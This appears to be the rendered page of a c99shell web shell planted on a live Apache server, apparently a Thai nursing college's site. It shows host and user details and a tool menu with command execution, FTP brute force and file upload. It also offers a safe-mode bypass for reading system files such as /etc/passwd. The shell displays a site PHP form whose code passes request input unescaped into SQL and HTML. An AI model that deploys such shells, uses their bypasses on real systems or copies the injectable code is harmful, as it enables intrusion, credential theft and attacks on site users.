!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/reportEregis111/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editData.php (6.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta name="viewport" content="width=device-width, initial-scale=1" charset="x-windows-874">
<link rel="stylesheet" href="css/pure-min.css">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
<link rel="stylesheet" href="/resources/demos/style.css">
<script src="https://code.jquery.com/jquery-1.12.4.js"></script>
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
<script>
    $( function() {
        $( "#datepicker" ).datepicker();
    } );
</script>
<style type="text/css">
    @font-face {
        font-family: cha;
        src: url(/font/THSarabunNew.ttf);
    }
    html, body {
        padding:0px;
        margin:0px;
        height:100%;
        font-family: cha;
    }
</style>
<?php
session_start
();
error_reporting(E_ALL);
include(
"PFBC/Form.php");

if(isset(
$_POST["form"])) {
    
Form::isValid($_POST["form"]);
    
header("Location: " $_SERVER["PHP_SELF"]);
    exit();    
}
$version file_get_contents("version");
include_once(
"classes/Crud.php");
$crud = new Crud();
$id $crud->escape_string($_GET['id']);
$result $crud->getData("SELECT * FROM consulting WHERE id=$id");
foreach (
$result as $res) {
    
?>
    <br>
    <center>
        <form name="memmo" id="memmo" action="editMem.php" method="post">
            <table class="pure-table" width="100%">
                <thead>

                <tr>
                    <th colspan="4" align="center">แก้ไขปรับปรุงรายงานการปฏิบัติหน้าที่อาจารย์ที่ปรึกษา</th>
                </tr>
                </thead>
                <tbody>
                <tr>
                    <td colspan="4" align="right">วิทยาลัยพยาบาลบรมราชชนนี นครราชสีมา</td>
                </tr>
                <tr>
                    <td colspan="4" align="right">วัน-เดือน-ปี :: <input type="text" id="datepicker" name="proDate" value="<?=$res['proDate']?>"
                                                                         required></td>
                </tr>
                <tr>
                    <td align="right"><b>เรื่อง</b></td>
                    <td colspan="3">รายงานการปฎิบัติหน้าที่อาจารย์ที่ปรึกษา</td>

                </tr>
                <tr>
                    <td align="right"><b>เรืยน</b></td>
                    <td colspan="3">ผู้อำนวยการวิทยาลัยพยาบาลบรมราชชนนี นครราชสีมา</td>

                </tr>
                <tr>
                    <td></td>
                    <td colspan="3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ตามที่ข้าพเจ้าได้รับมอบหมายเป็นอาจารย์ที่ปรึกษา
                        โดยมีนักศึกษาอยู่ในความดูแลของ<br>
                        ข้าพเจ้า จำนวน ::
                        <div class="input-wrapper"><input type="text" name="countStudent" value="<?=$res['countStudent']?>" required></div>
                        คนในการนี้ข้าพเจ้าขอรายงานผลการปฏิบัติงานประจำภาคเรียนที่ <select name="term">
                            <?php
                            
if($res['term']==1){
                                
$text="ภาคการศึกษาที่ 1";
                            }
                            if(
$res['term']==2){
                                
$text="ภาคการศึกษาที่ 1";
                            }
                            if(
$res['term']==3){
                                
$text="ภาคการศึกษาฤดูร้อน";
                            }
                            
?>
                            <option value="<?=$res['term']?>"><?=$text?></option>
                            <option value="1">ภาคการศึกษาที่ 1</option>
                            <option value="2">ภาคการศึกษาที่ 2</option>
                            <option value="3">ภาคการศึกษาฤดูร้อน</option>
                        </select> /
                        <div class="input-wrapper"><input type="text" name="academic_year" required
                                                          value="<?=$res['academic_year']?>"></div>
                        ดังนี้
                    </td>

                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right">๑.</td>
                    <td colspan="2" align="left">นักศึกษามาพบเพื่อขอคำปรึกษา จำนวน
                        <div class="input-wrapper"><input type="text" name="time"  value="<?=$res['timer']?>" required></div>
                        ครั้ง
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right">๒.</td>
                    <td colspan="2" align="left">ผลการเรียนของนักศึกษา</td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">สอบผ่านทุกรายวิชา จำนวน
                        <div class="input-wrapper"><input type="text" name="ch1" value="<?=$res['ch1']?>" required></div>
                        คน
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">สอบซ่อมรายวิชา จำนวน
                        <div class="input-wrapper"><input type="text" name="ch2" value="<?=$res['ch2']?>" required></div>
                        คน
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">ชั้นปีที่ ๑ :: <textarea name="ch3" cols="50" rows="1"><?=$res['ch3']?></textarea></td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">สอบซ่อมรายวิชา จำนวน
                        <div class="input-wrapper"><input type="text" name="ch4" value="<?=$res['ch4']?>" required></div>
                        คน
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">ชั้นปีที่ ๒ :: <textarea name="ch5" cols="50" rows="1"><?=$res['ch5']?></textarea></td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">สอบซ่อมรายวิชา จำนวน
                        <div class="input-wrapper"><input type="text" name="ch6" value="<?=$res['ch6']?>" required></div>
                        คน
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">ชั้นปีที่ ๓ :: <textarea name="ch7" cols="50" rows="1"><?=$res['ch7']?></textarea></td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">สอบซ่อมรายวิชา จำนวน
                        <div class="input-wrapper"><input type="text" name="ch8" value="<?=$res['ch8']?>" required></div>
                        คน
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">ชั้นปีที่ ๔ :: <textarea name="ch9" cols="50" rows="1"><?=$res['ch9']?></textarea></td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">ลาพักเรียน จำนวน
                        <div class="input-wrapper"><input type="text" name="ch10" value="<?=$res['ch10']?>" required></div>
                        คน
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">ลาออก จำนวน
                        <div class="input-wrapper"><input type="text" name="ch11" value="<?=$res['ch11']?>" required></div>
                        คน
                    </td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">อื่นๆ <textarea name="ch12" cols="50" rows="1"><?=$res['ch12']?></textarea></td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left"><b>อาจารย์ที่ปรึกษา</b> <?= $_GET['name'?><br>
                        ID::<?= $_GET['User'?> <input type="hidden" name="name" value="<?= $_GET['name'?>"><input
                            type="hidden" name="userID" value="<?= $_GET['User'?>"><input type="hidden" name="id" value="<?=$id?>"></td>
                </tr>
                <tr>
                    <td align="right"></td>
                    <td align="right"></td>
                    <td colspan="2" align="left">
                        <button class="pure-button">รายงานผลการปฏิบัติหน้าที่</button>
                    </td>
                </tr>
                </tbody>
            </table>
        </form>
    </center>
    <?php
}
?>
<br>
<br>
<br>
<br>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0195 ]--